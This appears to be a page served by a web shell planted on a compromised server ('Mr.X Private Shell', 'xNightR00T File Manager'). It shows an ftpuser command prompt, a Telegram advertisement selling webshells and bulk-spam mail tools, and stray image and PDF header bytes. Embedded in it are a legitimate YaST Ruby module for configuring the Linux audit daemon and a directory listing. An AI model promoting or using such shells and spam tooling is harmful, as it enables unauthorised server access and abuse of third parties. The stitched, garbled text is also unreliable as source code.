xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:	modules/AuditLaf.ycp
# Package:	Configuration of audit-laf
# Summary:	AuditLaf settings, input and output functions
# Authors:	Gabriele Mohr <gs@suse.de>
#
#
# Representation of the configuration of audit-laf.
# Input and output routines.
require "yast"

module Yast
  class AuditLafClass < Module
    def main
      Yast.import "UI"
      textdomain "audit-laf"

      Yast.import "Progress"
      Yast.import "Report"
      Yast.import "Summary"
      Yast.import "Message"
      Yast.import "Popup"
      Yast.import "Mode"
      Yast.import "FileUtils"
      Yast.import "Service"
      Yast.import "Stage"
      Yast.import "Package"


      # Data was modified?
      @modified = false


      @proposal_valid = false

      # Filename (path) rules file
      @rules_file = "/etc/audit/audit.rules"

      # Filename (path) config file
      @config_file = "/etc/audit/auditd.conf"

      # Write only, used during autoinstallation.
      # Don't run services and SuSEconfig, it's all done at one place.
      @write_only = false

      # Option "Lock rules" is set (-e 2)
      @rules_locked = false

      # The rules have been changed (sent to 'autitctl' to check the syntax)
      @rules_changed = false

      #
      # Settings: Define all variables needed for the configuration of the audit daemon
      #

      # map of audit settings (from /etc/audit/auditd.conf)
      @SETTINGS = {}

      # default settings for /etc/audit/auditd.conf
      @DEFAULT_CONFIG = {
        "log_file"                => "/var/log/audit/audit.log",
        "log_format"              => "RAW",
        "priority_boost"          => "3",
        "flush"                   => "INCREMENTAL",
        "freq"                    => "20",
        "num_logs"                => "4",
        "dispatcher"              => "/sbin/audispd",
        "disp_qos"                => "lossy",
        "name_format"             => "NONE",
        "max_log_file"            => "5",
        "max_log_file_action"     => "ROTATE",
        "space_left"              => "75",
        "space_left_action"       => "SYSLOG",
        "action_mail_acct"        => "root",
        "admin_space_left"        => "50",
        "admin_space_left_action" => "SUSPEND",
        "disk_full_action"        => "SUSPEND",
        "disk_error_action"       => "SUSPEND"
      }

      # Save settings initially read from /etc/audit/auditd.conf to be able
      # to decide whether changes are made
      @INITIAL_SETTINGS = {}

      # Rules for the subsystem audit (passed via auditctl).
      # Initially read from /etc/audit/audit.rules and edited in
      # the rules editor.
      @RULES = ""

      # Save rules from /etc/audit/audit.rules to be able to restore it
      @INITIAL_RULES = ""
    end

    def SetRulesLocked(value)
      @rules_locked = value

      nil
    end

    def RulesLocked
      @rules_locked
    end

    def SetRulesChanged(value)
      @rules_changed = value

      nil
    end

    def RulesChanged
      @rules_changed
    end

    # Return rules file path
    def GetRulesFile
      @rules_file
    end

    def GetConfigFile
      @config_file
    end

    # Testing only
    def GetWatches
      [
        "exit,always watch=/etc/passwd perm=rwx",
        "entry,always watch=/etc/sysconfig/yast2 perm=rwx"
      ]
    end

    # Data was modified?
    # @return true if modified
    def Modified
      Builtins.y2milestone("modified=%1", @modified)
      @modified
    end

    # Mark as modified, for Autoyast.
    def SetModified(value)
      @modified = value

      nil
    end



    def ProposalValid
      @proposal_valid
    end

    def SetProposalValid(value)
      @proposal_valid = value

      nil
    end

    # @return true if module is marked as "write only" (don't start services etc...)
    def WriteOnly
      @write_only
    end

    # Set write_only flag (for autoinstalation).
    def SetWriteOnly(value)
      @write_only = value

      nil
    end

    #   Returns a confirmation popup dialog whether user wants to really abort.
    def Abort
      Popup.ReallyAbort(Modified())
    end

    # Checks whether an Abort button has been pressed.
    # If so, calls function to confirm the abort call.
    #
    # @return [Boolean] true if abort confirmed
    def PollAbort
      # Do not check UI when running in CommandLine mode
      return false if Mode.commandline

      return Abort() if UI.PollInput == :abort

      false
    end

    def RulesAlreadyLocked
      output = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), "LANG=POSIX auditctl -s")
      )
      Builtins.y2milestone("auditctl: %1", output)

      audit_status = Ops.get_string(output, "stdout", "")

      if Builtins.regexpmatch(audit_status, "^.*enabled=2.*")
        return true
      else
        return false
      end
    end

    def AuditStatus
      output = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), "LANG=POSIX auditctl -s")
      )
      Builtins.y2milestone("auditctl: %1", output)

      audit_status = Ops.get_string(output, "stdout", "")

      if Builtins.regexpmatch(audit_status, "^.*enabled=2.*")
        return _("The rules for auditctl are locked.")
      elsif Builtins.regexpmatch(audit_status, "^.*enabled=1.*")
        return _("Auditing enabled")
      else
        return _("Auditing disabled")
      end
    end

    #  Set data modified only if really has changed
    def SetDataModified
      if @INITIAL_SETTINGS != @SETTINGS || @INITIAL_RULES != @RULES
        @modified = true
      else
        @modified = false
      end

      nil
    end

    # Get value of given option from SEETINGS
    def GetAuditdOption(key)
      Ops.get(@SETTINGS, key, Ops.get(@DEFAULT_CONFIG, key, ""))
    end

    # Set option to given value in SETTINGS

    def SetAuditdOption(key, value)
      # Don't set empty values (seems that 'auditd' doesn't like it)
      if value != ""
        Ops.set(@SETTINGS, key, value)
        Builtins.y2milestone("Setting %1 to %2", key, value)
        return true
      else
        return false
      end
    end

    # Get the current rules
    def GetRules
      @RULES
    end

    def GetInitialRules
      @INITIAL_RULES
    end

    # Set rules
    def SetRules(rules)
      if rules != nil && rules != ""
        @RULES = rules
        return true
      else
        return false
      end
    end

    # Read rules from audit.rules
    def ReadAuditRules
      rules = Convert.to_string(SCR.Read(path(".target.string"), @rules_file))

      if rules != nil && rules != ""
        @RULES = rules
        # additionally save initial rules
        @INITIAL_RULES = rules
        return true
      else
        return false
      end
    end

    # Write rules to audit.rules
    def WriteAuditRules
      success = SCR.Write(path(".target.string"), @rules_file, @RULES)

      success
    end

    # Check whether package 'audit' is installed and install it if user agrees
    def CheckInstalledPackages
      ret = false

      # skip it during initial and second stage or when create AY profile
      return true if Stage.cont || Stage.initial || Mode.config
      Builtins.y2milestone("Check whether package 'audit' is installed")

      if !Package.InstallMsg(
          "audit",
          _(
            "<p>To continue the configuration of Linux Auditing, the package <b>%1</b> must be installed.</p>"
          ) +
            _("<p>Install it now?</p>")
        )
        Popup.Error(Message.CannotContinueWithoutPackagesInstalled)
      else
        ret = true
      end
      ret
    end

    # Read settings from auditd.conf
    # @return true on success
    def ReadAuditdSettings
      return false if !FileUtils.Exists(@config_file)

      optionsList = SCR.Dir(path(".auditd"))
      Builtins.y2milestone("List of options: %1", optionsList)

      # list all options set in auditd.conf
      Builtins.foreach(SCR.Dir(path(".auditd"))) do |key|
        # and read the value for each of them
        val = Convert.to_string(SCR.Read(Builtins.add(path(".auditd"), key)))
        Ops.set(@SETTINGS, key, val) if val != nil
      end

      # additionally save initial settings
      @INITIAL_SETTINGS = deep_copy(@SETTINGS)

      Builtins.y2milestone("%1 has been read: %2", @config_file, @SETTINGS)
      true
    end

    def CheckAuditdStatus
      auditd_active = Service.active?("auditd")

      if !auditd_active
        Report.Error(
          _(
            "Cannot start the audit daemon.\n" +
              "Please check /var/log/messages for auditd errors.\n" +
              "You can use the module 'System Log' from group\n" +
              "'Miscellaneous' in YaST Control Center."
          )
        )
        return false
      else
        return true
      end
    end

    # Read all auditd settings
    # @return true on success
    def Read
      success = true

      # AuditLaf read dialog caption
      caption = _("Initializing Audit Configuration")

      # Set the right number of stages
      steps = 4

      sl = 500
      Builtins.sleep(sl)

      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # Progress stage 1/4
          _("Check for installed packages"),
          # Progress stage 2/4
          _("Read the configuration of auditd"),
          # Progress stage 3/4
          _("Read the rules file"),
          # Progress stage 4/4
          _("Check status of auditd")
        ],
        [
          # Progress stage 1/4
          _("Checking for packages..."),
          # Progress step 2/4
          _("Reading the configuration..."),
          # Progress step 3/4
          _("Reading the rules file..."),
          # Progress step 4/4
          _("Checking status..."),
          Message.Finished
        ],
        ""
      )

      # read database
      return false if PollAbort()
      Progress.NextStage

      installed = CheckInstalledPackages()

      return false if !installed
      Builtins.sleep(sl)

      return false if PollAbort()
      Progress.NextStep

      success = ReadAuditdSettings()

      # Log the status of the audit system
      output = Convert.to_map(
        SCR.Execute(path(".target.bash_output"), "auditctl -s")
      )
      Builtins.y2milestone("auditctl: %1", output)

      # Report error
      Report.Error(_("Cannot read auditd.conf.")) if !success
      Builtins.sleep(sl)

      # read another database
      return false if PollAbort()
      Progress.NextStep

      success = ReadAuditRules()

      # Error message
      Report.Error(_("Cannot read audit.rules.")) if !success
      Builtins.sleep(sl)

      # read current settings
      return false if PollAbort()
      Progress.NextStage
      # Error message
      Report.Error(Message.CannotReadCurrentSettings) if false
      Builtins.sleep(sl)

      Progress.NextStage
      auditd_active = Service.active?("auditd")
      Builtins.y2milestone("Auditd running: %1", auditd_active)

      apparmor_active = Service.active?("apparmor")
      Builtins.y2milestone("Apparmor loaded: %1", apparmor_active)

      if !auditd_active
        # question shown in a popup about start of audit daemon
        start_question = _("Do you want to start it and enable start at boot\n" +
                           "or only start the daemon for now?")

        message = _("The daemon 'auditd' doesn't run.\n") + start_question

        if apparmor_active
          # message about loaded kernel module
          message = _(
                      "The 'apparmor' kernel module is loaded.\n" +
                      "The kernel uses a running audit daemon to log audit\n" +
                      "events to /var/log/audit/audit.log (default).\n") +
            start_question
        end
        # Headline of a popup
        enable = Popup.AnyQuestion3(_("Start of Audit Daemon"), message,
                                    # label of three buttons belonging to the popup
                                   _("Start and &Enable"), _("&Start"), _("&Do not start"),
                                   :focus_yes)

        if enable == :yes || enable == :no
          success = Service.Start("auditd")
          Service.Enable("auditd") if enable == :yes

          if !success
            go_on = Popup.ContinueCancelHeadline(
              _("Cannot start the audit daemon."),
              _(
                "The rules may be locked.\n" +
                  "Continue to check the rules. You can change\n" +
                  "the 'Enabled Flag', but to activate the change\n" +
                  "a reboot is required afterwards.\n"
              )
            )
            if go_on
              return true
            else
              return false
            end
          else
            CheckAuditdStatus()
            return true
          end
        end
      end

      return false if PollAbort()
      @modified = false
      true
    end

    # Write settings to auditd.conf
    # @return true on success
    def WriteAuditdSettings
      ret = true

      return false if !FileUtils.Exists(@config_file)

      # write all options to auditd.conf
      Builtins.foreach(@SETTINGS) do |key, value|
        # and write each value
        success = SCR.Write(Builtins.add(path(".auditd"), key), value)
        ret = false if !success
      end

      # This is very important
      # it flushes the cache, and stores the configuration on the disk
      SCR.Write(path(".auditd"), nil)

      if ret
        Builtins.y2milestone("%1 has been written: %2", @config_file, @SETTINGS)
      end

      ret
    end

    # Write all auditd settings
    # @return true on success
    def Write
      go_on = false
      ret = true

      # Auditd read dialog caption
      caption = _("Saving Audit Configuration")

      # set the right number of stages
      steps = 2

      sl = 500
      Builtins.sleep(sl)

      # Names of the stages
      # We do not set help text here, because it was set outside
      Progress.New(
        caption,
        " ",
        steps,
        [
          # Progress stage 1/2
          _("Write the settings"),
          # Progress stage 2/2
          _("Write the rules")
        ],
        [
          # Progress step 1/2
          _("Writing the settings..."),
          # Progress step 2/2
          _("Writing the rules..."),
          Message.Finished
        ],
        ""
      )

      # check first whether rules are already locked
      locked = RulesAlreadyLocked()

      Builtins.y2milestone(
        "Rules already locked: %1",
        locked ? "true" : "false"
      )

      if locked
        write_rules = Popup.YesNoHeadline(
          _("The rules are already locked."),
          _(
            "Do you want to change the 'Enabled Flag'?\n" +
              "If yes, the new rules will be written to /etc/audit/audit.rules.\n" +
              "Reboot the system afterwards for the change to take effect.\n"
          )
        )
        WriteAuditRules() if write_rules

        # don't try to restart the daemon - daemon will stop
        return false
      end

      # write settings
      return false if PollAbort()
      Progress.NextStage

      write_success = WriteAuditdSettings()

      if write_success
        # restart auditd
        success = Service.Restart("auditd")
        Builtins.y2milestone("'auditd restart' returned: %1", success)

        if !success
          # Error message
          Report.Error(_("Restart of the audit daemon failed."))
          ret = false
        else
          go_on = true
        end
      else
        # Error message
        Report.Error(_("Cannot write settings to auditd.conf."))
        ret = false
      end

      Builtins.sleep(sl)

      return false if PollAbort()

      Progress.NextStage

      if go_on
        write_success = WriteAuditRules()

        # Error message
        if write_success
          # call auditctl -R audit.rules
          Builtins.y2milestone("Calling auditctl -R /etc/audit/audit.rules")

          output = Convert.to_map(
            SCR.Execute(
              path(".target.bash_output"),
              "auditctl -R /etc/audit/audit.rules"
            )
          )

          if Ops.get_integer(output, "exit", 0) != 0
            Report.Error(
              Builtins.sformat(
                "%1\n%2",
                Ops.get_string(output, "stderr", ""),
                # Error message, rules cannot be set
                _("Start yast2-audit-laf again and check the rules.")
              )
            )
            ret = false
          end
        else
          Report.Error(_("Cannot write settings to auditd.rules."))
          ret = false
        end

        Builtins.sleep(sl)
      end

      # Finally check status of auditd (if restart has worked but daemon exited afterwards)
      ret = false if !CheckAuditdStatus()

      return false if PollAbort()

      Builtins.y2milestone("Auditd::Write() returns: %1", ret)
      ret
    end

    # Get all audit settings from the first parameter
    # (For use by autoinstallation.)
    # @param [Hash] settings The YCP structure to be imported.
    # @return [Boolean] True on success
    def Import(settings)
      settings = deep_copy(settings)
      @SETTINGS = Convert.convert(
        Ops.get(settings, "auditd", @DEFAULT_CONFIG),
        :from => "any",
        :to   => "map <string, string>"
      )
      @RULES = Ops.get_string(settings, "rules", "")

      SetModified(true)
      Builtins.y2milestone("Configuration has been imported")

      true
    end

    # Dump the auditd settings and the rules to a single map
    # (For use by autoinstallation.)
    # @return [Hash] Dumped settings (later acceptable by Import ())
    def Export
      { "auditd" => @SETTINGS, "rules" => @RULES }
    end

    # Create a textual summary and a list of unconfigured cards
    # @return summary of the current configuration
    def Summary
      summary = ""

      summary = Summary.AddLine(
        summary,
        Builtins.sformat("%1: %2", _("Log file"), GetAuditdOption("log_file"))
      )
      summary = Summary.AddLine(summary, AuditStatus())

      Builtins.y2milestone("Summary: %1", summary)

      # Configuration summary text for autoyast
      summary
    end

    # Create an overview table with all configured cards
    # @return table items
    def Overview
      # TODO FIXME: your code here...
      []
    end

    # Return packages needed to be installed and removed during
    # Autoinstallation to insure module has all needed software
    # installed.
    # @return [Hash] with 2 lists.
    def AutoPackages
      { "install" => ["audit"], "remove" => [] }
    end

    publish :function => :SetRulesLocked, :type => "void (boolean)"
    publish :function => :RulesLocked, :type => "boolean ()"
    publish :function => :SetRulesChanged, :type => "void (boolean)"
    publish :function => :RulesChanged, :type => "boolean ()"
    publish :function => :GetRulesFile, :type => "string ()"
    publish :function => :GetConfigFile, :type => "string ()"
    publish :function => :GetWatches, :type => "list <string> ()"
    publish :function => :Modified, :type => "boolean ()"
    publish :function => :SetModified, :type => "void (boolean)"
    publish :function => :ProposalValid, :type => "boolean ()"
    publish :function => :SetProposalValid, :type => "void (boolean)"
    publish :function => :WriteOnly, :type => "boolean ()"
    publish :function => :SetWriteOnly, :type => "void (boolean)"
    publish :function => :Abort, :type => "boolean ()"
    publish :function => :PollAbort, :type => "boolean ()"
    publish :function => :RulesAlreadyLocked, :type => "boolean ()"
    publish :function => :AuditStatus, :type => "string ()"
    publish :function => :SetDataModified, :type => "void ()"
    publish :function => :GetAuditdOption, :type => "string (string)"
    publish :function => :SetAuditdOption, :type => "boolean (string, string)"
    publish :function => :GetRules, :type => "string ()"
    publish :function => :GetInitialRules, :type => "string ()"
    publish :function => :SetRules, :type => "boolean (string)"
    publish :function => :CheckAuditdStatus, :type => "boolean ()"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :Write, :type => "boolean ()"
    publish :function => :Import, :type => "boolean (map)"
    publish :function => :Export, :type => "map ()"
    publish :function => :Summary, :type => "string ()"
    publish :function => :Overview, :type => "list ()"
    publish :function => :AutoPackages, :type => "map ()"
  end

  AuditLaf = AuditLafClass.new
  AuditLaf.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1